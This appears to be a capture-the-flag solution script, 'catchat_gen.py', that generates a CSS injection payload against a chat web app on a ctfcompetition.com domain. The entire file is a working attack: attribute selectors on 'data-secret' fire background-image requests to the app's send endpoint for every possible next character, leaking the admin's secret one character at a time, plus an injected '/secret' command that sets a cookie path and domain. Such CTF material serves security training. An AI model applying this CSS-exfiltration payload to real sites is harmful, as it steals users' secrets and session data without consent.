catchat_gen.py

import string

kn = ""
kn = kn.replace('}', "\\}").replace('{', "\\{")

lt = string.ascii_letters + string.digits + "_}{"
payload = "span[data-secret^=%s%s]{background: url(send?name=admin&msg=%s);}"

res = "/name xx]{color:red;}span[data-secret]{background:url(send?name=admin&msg=/secret 1;Path=/; domain=xx.web.ctfcompetition.com);}"

for x in lt:
    if x == '{' or x == '}':
        x = "\\" + x
    res += payload % (kn, x, x)

print res + "span[data-name^=xx"